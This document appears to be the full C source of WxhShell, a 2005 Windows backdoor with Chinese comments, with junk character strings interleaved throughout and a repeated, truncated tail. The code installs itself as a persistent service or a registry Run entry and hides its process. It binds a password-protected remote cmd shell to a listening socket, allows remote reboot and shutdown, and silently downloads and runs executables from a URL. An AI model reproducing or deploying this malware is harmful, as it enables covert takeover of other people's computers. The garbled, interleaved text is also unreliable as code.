[ZY;g:p HANDLE hProcess; rn^cajO^ PROCESS_BASIC_INFORMATION pbi; )]}G8A D:] QBA)C HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yPrF2@#XZ/ if(NULL == hInst ) return 0; )ifjK6* J':X$>E| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QC,fyw\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GP>\3@> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mj&G5R~_ f=k_U[b4> if (!NtQueryInformationProcess) return 0; .n n&K}h (Bq^
D9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TAxu ]C$P if(!hProcess) return 0; 3Fb9\2<H \sBXS. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X [<%T}s# ho-#Xbq#g CloseHandle(hProcess); /KLkrW zmU@ k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kmUL^vF if(hProcess==NULL) return 0; r<$o [,W 4#CHX^De HMODULE hMod; "(r%`.l=I char procName[255];
|nCVM\+5T unsigned long cbNeeded; 80zpRU" #x qiGK if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]_BH"ng} iYZn`OAx CloseHandle(hProcess); _9g-D9 O8OAXRt/Y if(strstr(procName,"services")) return 1; // 以服务启动 (xfh 9=. vgE
-t return 0; // 注册表启动 )I#{\^ } FsO_|r q<j9l'dHG // 主模块 wn^#`s!]U int StartWxhshell(LPSTR lpCmdLine) ?3lAogB { +Xp1=2Mq SOCKET wsl; 2x>7>;> BOOL val=TRUE; G6QD`ED int port=0; +h@.P B^`~ struct sockaddr_in door; |1GOm=GNK lEgjv, if(wscfg.ws_autoins) Install(); h@E7wp1'~ WkiPrQ0]: port=atoi(lpCmdLine); -woFKAy` Q^;:Kl.b if(port<=0) port=wscfg.ws_port; ua"2nVxK_K /GVjesN WSADATA data; ?&'Kw>s@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O\CnKNk, gu6%$z if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p}3` "L= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9: .m]QN door.sin_family = AF_INET; ,z<1:st]< door.sin_addr.s_addr = inet_addr("127.0.0.1"); 42~.N=2 door.sin_port = htons(port); 55' j+fib} 8} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J5(0J7C closesocket(wsl); G^N@r:RS return 1; 4Q/{lqG } |h}4J r<'DS9m if(listen(wsl,2) == INVALID_SOCKET) { m}u)C&2> closesocket(wsl); ~o#mX?'7 return 1; XmD(&3;v- } ?2l`%l5( Wxhshell(wsl); + %v1X&_\ WSACleanup(); Cdy,8* >+Ig<}p return 0; Um}AV 7O'.KoMw } RyP MzxV I?St}Tl // 以NT服务方式启动 O2\(:tvw VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Th,<w*o { mogmr DWORD status = 0; ^*i0~_ DWORD specificError = 0xfffffff; e'>q( B :_y!p serviceStatus.dwServiceType = SERVICE_WIN32; aW*k,\:e serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q?;Tc.O"/ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6_<~]W& serviceStatus.dwWin32ExitCode = 0; od{\z serviceStatus.dwServiceSpecificExitCode = 0; -uWV(
,| serviceStatus.dwCheckPoint = 0; a_+?#m serviceStatus.dwWaitHint = 0; [al$sCD]+ A+!,{G hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WPkKbF if (hServiceStatusHandle==0) return; 2cUT bRm /q+;!EM status = GetLastError(); ymyzbE if (status!=NO_ERROR) $,2T~1tE { ,[IDC3.4^R serviceStatus.dwCurrentState = SERVICE_STOPPED; FLs$ serviceStatus.dwCheckPoint = 0; Gc"hU:m serviceStatus.dwWaitHint = 0; E(j#R" serviceStatus.dwWin32ExitCode = status; P
woiX#vz serviceStatus.dwServiceSpecificExitCode = specificError; nX 9]dz SetServiceStatus(hServiceStatusHandle, &serviceStatus); (5 @H return; ;xe.0j0h } BO#tn{(# yw$4Hlj5 serviceStatus.dwCurrentState = SERVICE_RUNNING; 5e$1KN` serviceStatus.dwCheckPoint = 0; vjS=ZinN" serviceStatus.dwWaitHint = 0; Lj(cCtb) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |mE;HvQF }
}mXYS|{ QOo'Iv+EL // 处理NT服务事件,比如:启动、停止 *Q^z4UY VOID WINAPI NTServiceHandler(DWORD fdwControl) ) jH`lY) 1 { |bz%SB switch(fdwControl) BaW4 s4u { uZtN,Un case SERVICE_CONTROL_STOP: +:uz=~mo` serviceStatus.dwWin32ExitCode = 0; 'Zp{ serviceStatus.dwCurrentState = SERVICE_STOPPED; i? ~-% serviceStatus.dwCheckPoint = 0; n'v\2(&uYN serviceStatus.dwWaitHint = 0; -z~!%4 a { Ac|\~w[\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); iW^J>aKy } dgF%&*Il]O return; o^vX\a?`u case SERVICE_CONTROL_PAUSE: l@Vv%w9H serviceStatus.dwCurrentState = SERVICE_PAUSED; uyxYCc break; g/JF(nkP case SERVICE_CONTROL_CONTINUE: HK8sn1j serviceStatus.dwCurrentState = SERVICE_RUNNING; gr SF}y!3 break; GM0Q@`d case SERVICE_CONTROL_INTERROGATE: J _;H break; .Zczya }; RC/ 3\' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4_kN';a4Q } tLWw<)t Bj1%}B // 标准应用程序主函数 R
,qQC< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vUJ;D { 8Rwk
o6x u*G<? // 获取操作系统版本 a&x:_vv OsIsNt=GetOsVer(); )^ Y+Vn GetModuleFileName(NULL,ExeFile,MAX_PATH); az6& R,G*]/r` // 从命令行安装 :R,M Y"( if(strpbrk(lpCmdLine,"iI")) Install(); Ha `N nf/?7~3?[ // 下载执行文件
2Qp}f^ if(wscfg.ws_downexe) { ![\-J$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QM F WinExec(wscfg.ws_filenam,SW_HIDE); nf0u:M"fm } &7f8\TG| _ \6v@ if(!OsIsNt) { &
"&s, // 如果时win9x,隐藏进程并且设置为注册表启动 G n]qh(N> HideProc(); `SFeln{1B StartWxhshell(lpCmdLine); <ToBVGX } Lj3o-@\*j else h6
{vbYj if(StartFromService()) Nv7-6C6< // 以服务方式启动 4u6 FvN StartServiceCtrlDispatcher(DispatchTable); \;)g<TwL else k0e}`#t // 普通方式启动 %hsCB
.r>| StartWxhshell(lpCmdLine); i]%f94 =Z return 0; V ql4*OJW } qT@h/Y |nZ^RCHog z#GZb r%?-MGc =========================================== +7H)s qh~bX
i! 1IA1; @gD)pH ~\_VWXXvIW wQ/* f9 " Tu#;Y."T iYStl #include <stdio.h> `F7]M #include <string.h>
=\oH=
f #include <windows.h> }tW-l*\U #include <winsock2.h> z%YNZ^d #include <winsvc.h> B$_4ul\) #include <urlmon.h> ,x8;| o5 I9S;t_Z< #pragma comment (lib, "Ws2_32.lib") OOqT 0wN #pragma comment (lib, "urlmon.lib") J:m/s9r JXK\mah #define MAX_USER 100 // 最大客户端连接数 X&pYLm72; #define BUF_SOCK 200 // sock buffer #{8IFA #define KEY_BUFF 255 // 输入 buffer i)o;,~ee EL?(D #define REBOOT 0 // 重启 'QCIKCn< #define SHUTDOWN 1 // 关机 N-M.O:p Tn}`VW~ #define DEF_PORT 5000 // 监听端口 6h;(b2p{ 8)X9abC #define REG_LEN 16 // 注册表键长度 t )zd'[ #define SVC_LEN 80 // NT服务名长度 DXiA4ihr= %bDxvaftT // 从dll定义API +.V+@! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9(N typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %#x4wi typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $jN.yNm0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /MF
7ZvN. k&dXK // wxhshell配置信息 <b:%o^ struct WSCFG { Hb=#` int ws_port; // 监听端口 jSY[Y:6md char ws_passstr[REG_LEN]; // 口令 VsQ|t/|# int ws_autoins; // 安装标记, 1=yes 0=no ] 3{t}qY$A char ws_regname[REG_LEN]; // 注册表键名 nje7?Vz char ws_svcname[REG_LEN]; // 服务名 ENTcTrTn char ws_svcdisp[SVC_LEN]; // 服务显示名 aOzIo- char ws_svcdesc[SVC_LEN]; // 服务描述信息 iS$[dC ?N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>2s4BV[( int ws_downexe; // 下载执行标记, 1=yes 0=no }iUK`e char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bu{Kjv char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y !<m8\ W{}$c`,R }; P1eSx#3bR 9F/I",EA // default Wxhshell configuration u\*9\G struct WSCFG wscfg={DEF_PORT, 4[gmA "xuhuanlingzhe", +:FXtO>n" 1, lMFR_g?r "Wxhshell", \=ML*Gi* "Wxhshell", ipv5JD[ "WxhShell Service", <Ua~+U(FR0 "Wrsky Windows CmdShell Service", 3B1\-ry1M "Please Input Your Password: ", pDR~SxBXr 1, O?e9wI=H "http://www.wrsky.com/wxhshell.exe", URsx>yx "Wxhshell.exe" *dBeb }; Y
Zj-%5 L`+[mX&2B // 消息定义模块 s6 yvq#: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T2e-RR char *msg_ws_prompt="\n\r? for help\n\r#>"; C%o|}i v" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mU/o%|h char *msg_ws_ext="\n\rExit."; *g(d}C! char *msg_ws_end="\n\rQuit."; s@\3|e5g char *msg_ws_boot="\n\rReboot..."; >. |({;n9 char *msg_ws_poff="\n\rShutdown..."; `|'w]rj:"+ char *msg_ws_down="\n\rSave to "; `nPdZ. H/D=$)3op char *msg_ws_err="\n\rErr!"; F!vrvlD`s char *msg_ws_ok="\n\rOK!"; j6qtR$l| N*Aw-\Bk char ExeFile[MAX_PATH]; N<)CG,/w[M int nUser = 0; @>8(f#S% HANDLE handles[MAX_USER]; .|,LBc! int OsIsNt; >tM4|w|
@;/Pl>$|'G SERVICE_STATUS serviceStatus; \"O5li3n SERVICE_STATUS_HANDLE hServiceStatusHandle; X=sE1RB W:r[o%B // 函数声明 A!lZyG!3 int Install(void); .(@=L1C<}J int Uninstall(void); UsE\p9mCuV int DownloadFile(char *sURL, SOCKET wsh); FZ-Wgh
0z int Boot(int flag); ]v
${k void HideProc(void); ]es|%j 2 int GetOsVer(void);
PL:(Se% int Wxhshell(SOCKET wsl); Ng#psN void TalkWithClient(void *cs); #HcQ*BiF3 int CmdShell(SOCKET sock); B{Cm`f8E int StartFromService(void); "hyfo,r int StartWxhshell(LPSTR lpCmdLine); mA(kq 6N@=*0kh- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [c?0Q3F VOID WINAPI NTServiceHandler( DWORD fdwControl ); '}hSh \RDN_Z // 数据结构和表定义 u3h(EAH> SERVICE_TABLE_ENTRY DispatchTable[] = ('z=/"(l { 7Jb&~{DVk {wscfg.ws_svcname, NTServiceMain}, $[T~<I {NULL, NULL} yX
rI }; rc=E%Qv%? 392V\qtS // 自我安装 7?fgcb3 int Install(void) zdP?HJ=F { SgU@`Pb char svExeFile[MAX_PATH]; 534pX7dg HKEY key; MfQ0O?oBp strcpy(svExeFile,ExeFile); uz3cho' voZaJ2ho/O // 如果是win9x系统,修改注册表设为自启动 IogLkhWX if(!OsIsNt) { WAn@8!9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <$nPGz)} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZcA"HD% RegCloseKey(key); G"r{!IFL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 11PL1zzH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "5JMk
-2k RegCloseKey(key); e{8C0= return 0; /M5.Z~|/ } R&uPoY,f } sX?arI=_U } }cz58% else { h#zm+( [B* Dk\%,[4( // 如果是NT以上系统,安装为系统服务 ei2?H;H; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X0*+]tRg if (schSCManager!=0) q~qz^E\T { q;SD+%tI SC_HANDLE schService = CreateService mLq0;uGL| ( b8a(.}8* schSCManager, L'y0$ wscfg.ws_svcname, <@7j37,R7V wscfg.ws_svcdisp, m#h`iW SERVICE_ALL_ACCESS, t(}Y /' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3g7]$} SERVICE_AUTO_START, CQ!D{o= SERVICE_ERROR_NORMAL, ^(Gl$GC$Mu svExeFile, ygTfQtN NULL, Z@q1&}D! NULL, )+FnwW NULL, 3@F U-k,i NULL, f?.}S]u5 NULL 5+GTK)D ); @!$xSH if (schService!=0) 2-S}#S}2C { #8d#Jw CloseServiceHandle(schService); S> Fb'rJ3 CloseServiceHandle(schSCManager); k1[`2k:Hk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e,XT(KY strcat(svExeFile,wscfg.ws_svcname); Q*1Avy6] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nR%w5oe RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;zqxDl_ RegCloseKey(key); K*~xy bA return 0; 8\il~IFyi } :MDFTw~ | } d/NjY[` 5+ CloseServiceHandle(schSCManager); ^C,rN;mX' } FUI/ A> } tli*3YIw :Nz
TEK return 1; E=.J*7 } .yDR2sW CS%ut-K<5M // 自我卸载 ZrYRLg int Uninstall(void) H(
LK}[ { dnANlNMk? HKEY key; xfUV'=~( *o=Z~U9z if(!OsIsNt) { x>i = if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8U#14U5rS RegDeleteValue(key,wscfg.ws_regname); ddYb=L+_b RegCloseKey(key); Mf5kknYuL9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @sR/l; RegDeleteValue(key,wscfg.ws_regname); m%U=:u7#M RegCloseKey(key); =)#XZ[#F return 0; B"7~[,he } a# 0*#&?7@ } &w_8E+YZ } MDpx@.A, else { ][f 0ZMa fN`Prs A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -6q7ze{@ if (schSCManager!=0) ~HctXe' x { 8pmWw? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T+V:vuK if (schService!=0) 5=s|uuw/ { Lxa<zy~b if(DeleteService(schService)!=0) { 0l(G7Ju CloseServiceHandle(schService); sI)jqHZG CloseServiceHandle(schSCManager); 'fb&3 return 0; ]<},[s } q:_-#u CloseServiceHandle(schService); s_u!
RrC } 0s4]eEXH CloseServiceHandle(schSCManager); b^Do[o}5 } DUf. F } %)}_OXWf: ZA4sEVHW return 1; `=TJw,q } S{cK~sZj FN0<iL // 从指定url下载文件 *XXa9z int DownloadFile(char *sURL, SOCKET wsh) (Q"s;g { 3qfQlqJ&3 HRESULT hr; 7n#Mh-vq char seps[]= "/"; kDKfJp&a char *token; ]{-ib:f~ char *file; Si;eBPFH char myURL[MAX_PATH]; Dk~
JH9# char myFILE[MAX_PATH]; `C:J {` P+p:Ed80 strcpy(myURL,sURL); ;S2/n$Ju_ token=strtok(myURL,seps); ovtZHq/ while(token!=NULL) cMUmJH { Xt*h2& file=token; 9@(V!G token=strtok(NULL,seps); #1>c)_H } e58tf3 ^O5PcV 3Eg GetCurrentDirectory(MAX_PATH,myFILE); EU7mP
MxJ strcat(myFILE, "\\"); w3Qil[rg strcat(myFILE, file); n\scOM)3 send(wsh,myFILE,strlen(myFILE),0); X{5(i3?S send(wsh,"...",3,0); :EC[YAK+D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \T!tUd if(hr==S_OK) JOq&(AZe return 0; dqL)q 3 else i;<H^\% return 1; Ut"F b o
3 G* } :2&W9v ma2-66M~j // 系统电源模块 _nW#Cl~ int Boot(int flag) k5Df97\s { {Pi]i? HANDLE hToken; alQ:'K TOKEN_PRIVILEGES tkp; pu+jw<7 [M.!7+$o if(OsIsNt) { _%aJ/Y0Cy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pu]Pp`SP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n ^C"v6X
tkp.PrivilegeCount = 1; _E[)_yH'- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z`@|v~i0` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `oH6'+fT`; if(flag==REBOOT) { &FzZpH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :'gX//b): return 0; ytGcigw(P } ,dk!hm u else { K<w$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U{.y X7 return 0; |NWo.j>4- } }W* q } lZ }H?n% else { B}p{$g! if(flag==REBOOT) { }Ias7d?re if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h-:te9p6>4 return 0; 5F|oNI}$: } 6M_,4>
- else { PeB7Q=d)K1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ER$qL"H
U return 0; +dSO?Y] } Xkb\fR6<K } L Z#SX5N O9 [Dae{i return 1; ZC:7N{a } t=(CCq_N, NXDuO_# // win9x进程隐藏模块 zH+a*R void HideProc(void) 3 At%TA: { },G5!3 gflu!C6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LYyOcb[x if ( hKernel != NULL ) &,~Oi(SX5 { aRF}FE,u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]eZrb%B. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R<x~KJ11c FreeLibrary(hKernel); pbePxOG } 4XXuj loFApBD=$^ return; >hmBV7nR } \$[S=&E N1i%b,:3 // 获取操作系统版本 "_T8Km008 int GetOsVer(void) DF!*S{) { 0_faJjTbP; OSVERSIONINFO winfo; <mdHca winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [oh0 )wzB GetVersionEx(&winfo); E#m|Sq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RW04>oxVn return 1; wm/=]*jpK else 2^$Ha| return 0; `8D}\w<eI } &;Jg2f%. S
7 *LV; // 客户端句柄模块 s xp>9& int Wxhshell(SOCKET wsl) U0X? ~ 1 { 9s'[p'[Z SOCKET wsh; fC$(l@O? struct sockaddr_in client; ijR,% qg DWORD myID; aaODj> V1Opp8 while(nUser<MAX_USER) )Cfk/OnRd { i917d@r( < int nSize=sizeof(client); @is !VzE
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (W4H?u@X0 if(wsh==INVALID_SOCKET) return 1; m]#oZVngy Q,m1mIf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9(
"<NB0y if(handles[nUser]==0) (TJ )Y7E closesocket(wsh); dGY:?mf& else !O}^ Y nUser++; a08`h.dyN } /I/gbmc) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I c 2R\}q Z0I>PBL@l return 0; ;Wu6f"+Y# } 8\{1y:| _gl7Ma // 关闭 socket ^\ocH|D void CloseIt(SOCKET wsh) ~ '/Yp8( { 1Vy8TV3D closesocket(wsh); \DC0` nUser--; :@8N${7`$A ExitThread(0); 14
Toi } q71~Y:7f i~0x/wSl_ // 客户端请求句柄 U+FI^Xrt# void TalkWithClient(void *cs) A,;V|jv9 { -)LiL o1zKns? SOCKET wsh=(SOCKET)cs; nqMXE82 char pwd[SVC_LEN]; qRnD{g|{1 char cmd[KEY_BUFF]; @nOj6b char chr[1]; vlS+UFH0 int i,j; O4.`N?Xq 9`X}G` while (nUser < MAX_USER) { b>Em~NMu_ /_l$h_{DH if(wscfg.ws_passstr) { o!-kwtw`l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cA8A^Iv:0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6A23H7 //ZeroMemory(pwd,KEY_BUFF); Cl>{vSN i=0; j}fu|- while(i<SVC_LEN) { 9H#;i]t & ZGZ1Q/WH // 设置超时 o/~Rf1 fd_set FdRead; 3yw`%$d5 struct timeval TimeOut; {|D7H=f FD_ZERO(&FdRead); 8%EauwAx FD_SET(wsh,&FdRead); xg8$ <Ut TimeOut.tv_sec=8; ,\Uc/wR TimeOut.tv_usec=0; ziTE*rNJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [.j&~\AG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tEFbL~n b[s=FH]#N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L }L"BY3$ pwd=chr[0]; J,Rp&tavt: if(chr[0]==0xd || chr[0]==0xa) { RR9G$}WS( pwd=0; ;\48Q; break; o@47WD'm } +ko-oZ7V i++;
#m;|QWW } |\3X7)^8D AREpZ2GiU // 如果是非法用户,关闭 socket o<8SiVC2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %("WoBPH` } }u?DK,R >,}SP; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &\>. j| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 15\k/[3
# DICS6VG} while(1) { 5|_El/G 3K{G =WE$ ZeroMemory(cmd,KEY_BUFF); 6s(.ul "p\5:< // 自动支持客户端 telnet标准 tx_h1[qi j=0; h=
Mmd while(j<KEY_BUFF) { C=,O'U(ep if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m[8?d~ cmd[j]=chr[0]; $;VY`n if(chr[0]==0xa || chr[0]==0xd) { 4IGn,D^ cmd[j]=0; *pj^d>< break; (JdZl2A. } w gU2q| j++; XkRPD } YE;Tpji h6~H5X // 下载文件 Of.%rpgy if(strstr(cmd,"http://")) { bBg=X}9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); %k i^XB86 if(DownloadFile(cmd,wsh)) !si}m~K!_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Jw+rjnP else Tx:S{n7& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]gjB%R[.m } HVH <S else { |!hN!j*)
+
C'<* switch(cmd[0]) { %R m`+ uRCZGg&V?# // 帮助 4#Cm5xAt6 case '?': { ?M9?GodbP. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JrNqS[c/ break; pKNrEq } *iiyU}x // 安装 %@'[g]hk case 'i': { P={8qln,X if(Install()) vugGMP;D( send(wsh,msg_ws_err,strlen(msg_ws_err),0); |* v w( else qW
2'?B3< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7LAd_P6 break; +[Bl@RHe^ } $iMbtA5aQ // 卸载 8Os: SC@Q case 'r': { Aq;WQyZ2 if(Uninstall()) 'y%*W:O send(wsh,msg_ws_err,strlen(msg_ws_err),0); jeWI<ms else 5fY7[{2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ng|c13A= break; 'LMMo4o3 } nh*hw[Ord // 显示 wxhshell 所在路径 <*[D30< case 'p': { mRT$@xa]J char svExeFile[MAX_PATH]; ^{g('BQx strcpy(svExeFile,"\n\r"); "Ta"5XW strcat(svExeFile,ExeFile); iCIU'yI send(wsh,svExeFile,strlen(svExeFile),0); Ye]-RN/W break;
[yx8?5 } %_.
fEFy07 // 重启 \'.|7{Xu case 'b': { s6(bTO. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `G "&IQ8. if(Boot(REBOOT)) AQjf\i send(wsh,msg_ws_err,strlen(msg_ws_err),0); wu~ ?P ` else { LXS)(-& closesocket(wsh); T7LO}(I.& ExitThread(0); -jk-ve } =`E{QCW break; Ft<B[bQ } ycj\5+g // 关机 Rj!9pwvT case 'd': { +j(7.6ia send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >SW c if(Boot(SHUTDOWN)) r^T+I3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); UH`cWV Lpr else { XCj8QM.o closesocket(wsh); %`\=qSf* ExitThread(0); Wa<SYJ } Lk2;\ D> break; "U|u-ka8B } qQp;i{X // 获取shell bY}:!aR<mK case 's': { P2fiK CmdShell(wsh); f,'^"Me$c closesocket(wsh); J;GYo|8 ExitThread(0); 1~y\MD*-j break; ")i_{C,b^ } khVfc // 退出 ]PQ6 em case 'x': { 3XcFBFE send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &~V6g(9 CloseIt(wsh); MuF{STE>-> break; X86r`} } o?/fObV@( // 离开 zbAyYMtEk
case 'q': { Mz: "p. send(wsh,msg_ws_end,strlen(msg_ws_end),0); S!8q>d,%L closesocket(wsh); !SdP<{[ WSACleanup(); 8A: =#P^O\ exit(1); #n.XOet<\ break; ",pd 9 } *:"p*qV* } 5%]O'h } +wGFJLHJ `]4tJJy$ // 提示信息 `M!'PMX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;4k/h/o1# } @y8)
"m" }
JnPwqIF1 F4$9r^21r return; K$c?:?wmo } ,:xses*7 ,SH^L|I // shell模块句柄 p9[gG\ int CmdShell(SOCKET sock) '}9 %12\^h { Q.g44> STARTUPINFO si; *T2kxN,Ik ZeroMemory(&si,sizeof(si)); 7Cx-yv si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t/J|<Ooj? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O{Y*a )" PROCESS_INFORMATION ProcessInfo; o#hFK'&~ char cmdline[]="cmd"; >0S(se$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Le2rc*T return 0; ?0?+~0sI } ^?S lM thSXri?kl // 自身启动模式 V|)nUsU int StartFromService(void) u-R;rf5%k { I[KAW" typedef struct 2`A\'SM'4 { AA5UOg\jI DWORD ExitStatus; Bpp(5 DWORD PebBaseAddress; +pxtar DWORD AffinityMask; x.>&|Ej DWORD BasePriority; UV\&9>@L ULONG UniqueProcessId; HXgf=R/$ ULONG InheritedFromUniqueProcessId; 8gJg7RxL } PROCESS_BASIC_INFORMATION; z-m:l; <;hy-Q()D PROCNTQSIP NtQueryInformationProcess; }*c[}VLN ne# %Gr static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t: 03 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vz^=o' zKFiCP
K HANDLE hProcess; ntn ~=oL PROCESS_BASIC_INFORMATION pbi; G\|P3j &H/3@A3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q+p9^_r if(NULL == hInst ) return 0; tS[%C) :?:R5_Nd= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -SF50.[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qn \=P*j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z9zsvg ~Gh9m]b if (!NtQueryInformationProcess) return 0; ,e{1l WD|pG;Gq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *~^M_wej if(!hProcess) return 0; Kza5_7p`L _uZVlu@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {cmV{ 4Yx hy"=)n( CloseHandle(hProcess); `gdk,L] v,c;dlg_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }i52MI1-XP if(hProcess==NULL) return 0; n!L}4Nmp @wh-.MD HMODULE hMod; 1 }_"2 char procName[255]; -;o0)DwZ unsigned long 